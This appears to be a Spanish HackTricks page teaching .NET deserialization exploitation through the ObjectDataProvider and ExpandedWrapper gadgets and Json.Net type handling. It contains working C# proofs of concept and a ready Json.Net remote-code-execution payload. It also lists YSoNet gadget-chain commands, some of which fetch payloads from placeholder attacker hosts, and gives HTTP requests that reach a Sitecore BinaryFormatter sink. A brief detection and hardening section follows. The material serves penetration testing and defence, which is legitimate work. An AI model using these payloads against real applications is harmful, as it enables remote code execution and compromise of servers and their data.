Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta entrada está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las bibliotecas de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.
¿Cómo es esto posible
The System.Windows.Data namespace, found within the PresentationFramework.dll at C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, is where the ObjectDataProvider is defined and implemented.
Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
As you can observe when MethodName
is set base.Refresh()
is called, lets take a look to what does it do:
Ok, lets continue seeing what does this.BeginQuery()
does. BeginQuery
is overridden by ObjectDataProvider
and this is what it does:
Note that at the end of the code it's calling this.QueryWorke(null)
. Let's see what does that execute:
Note that this isn't the complete code of the function QueryWorker
but it shows the interesting part of it: The code calls this.InvokeMethodOnInstance(out ex);
this is the line where the method set is invoked.
If you want to check that just setting the MethodName** it will be executed**, you can run this code:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Ten en cuenta que debes añadir como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para cargar System.Windows.Data
ExpandedWrapper
Al usar el exploit anterior habrá casos en los que el objeto será deserializado como una instancia de ObjectDataProvider (por ejemplo en la vuln de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando GetType
). Entonces, no tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (Process
, por ejemplo). Puedes encontrar más información sobre la vuln de DotNetNuke aquí.
Esta clase permite especificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto fuente (ObjectDataProvider) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos envolver ObjectDataProvider dentro de una instancia ExpandedWrapper y cuando se deserialice esta clase creará el objeto ObjectDataProvider que ejecutará la función indicada en MethodName.
Puedes comprobar este wrapper con el siguiente código:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
En la página oficial se indica que esta librería permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Entonces, si pudiéramos deserialize the ObjectDataProvider gadget, podríamos provocar una RCE simplemente deserializando un objeto.
Ejemplo de Json.Net
Primero, veamos un ejemplo de cómo serialize/deserialize un objeto usando esta librería:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusando de Json.Net
Usando ysoserial.net creé el exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
En este código puedes probar el exploit, simplemente ejecútalo y verás que se ejecuta calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden ser abusadas cuando una aplicación realiza deserialización .NET insegura. Herramientas modernas de red-team como YSoNet (y la más antigua ysoserial.net) automatizan la creación de grafos de objetos maliciosos listos para usar para docenas de gadgets y formatos de serialización.
A continuación hay una referencia condensada de las cadenas más útiles incluidas en YSoNet junto con una breve explicación de cómo funcionan y comandos de ejemplo para generar los payloads.
Cadena de gadgets | Idea clave / Primitiva | Serializadores comunes | Comando YSoNet |
---|---|---|---|
TypeConfuseDelegate | Corrompe el registro DelegateSerializationHolder de modo que, una vez materializado, el delegate apunte a cualquier método suministrado por el atacante (p. ej. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para bypassear el filtrado de tipos en .NET ≥4.8 e invocar directamente el constructor de una clase proporcionada o compilar un archivo C# al vuelo | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Aprovecha la representación XML legada de System.Data.DataSet para instanciar tipos arbitrarios rellenando los campos <ColumnMapping> / <DataType> (opcionalmente falsificando el assembly con --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | En runtimes con WPF habilitado (> .NET 5) encadena getters de propiedades hasta llegar a System.CodeDom.Compiler.CompilerResults , y luego compila o carga un DLL suministrado con -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (revisión) | Usa WPF System.Windows.Data.ObjectDataProvider para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante conveniente --xamlurl para alojar el XAML malicioso de forma remota | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Inserta ScriptBlock dentro de System.Management.Automation.PSObject que se ejecuta cuando PowerShell deserializa el objeto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Todos los payloads se escriben en stdout por defecto, lo que hace trivial canalizarlos hacia otras herramientas (p. ej. generadores de ViewState, codificadores base64, clientes HTTP).
Compilación / Instalación de YSoNet
Si no hay binarios precompilados disponibles en Actions ➜ Artifacts / Releases, el siguiente one-liner de PowerShell configurará un entorno de compilación, clonará el repositorio y compilará todo en modo Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
El ejecutable compilado ysonet.exe
se puede encontrar en ysonet/bin/Release/
.
Detección y endurecimiento
- Detectar procesos hijo inesperados de
w3wp.exe
,PowerShell.exe
, o cualquier proceso que deserialice datos proporcionados por el usuario (p. ej.MessagePack
,Json.NET
). - Habilitar y hacer cumplir el filtrado por tipo (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) siempre que no se pueda eliminar el legadoBinaryFormatter
/NetDataContractSerializer
. - Cuando sea posible, migrar a
System.Text.Json
oDataContractJsonSerializer
con convertidores basados en lista blanca. - Bloquear ensamblados WPF peligrosos (
PresentationFramework
,System.Workflow.*
) para que no se carguen en procesos web que no deberían necesitarlos.
Sink del mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
envuelvenew BinaryFormatter().Deserialize(...)
. - Ruta de activación: pipeline
convertToRuntimeHtml
→ConvertWebControls
, que busca un elemento hermano conid="{iframeId}_inner"
y lee un atributovalue
que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
Ejemplo mínimo de extremo a extremo (autenticado):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: cualquier BinaryFormatter chain que devuelva un string (los side‑effects se ejecutan durante la deserialization). Vea YSoNet/ysoserial.net para generar payloads.
Para una cadena completa que comienza pre‑auth con HTML cache poisoning en Sitecore y conduce a este sink:
Referencias
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.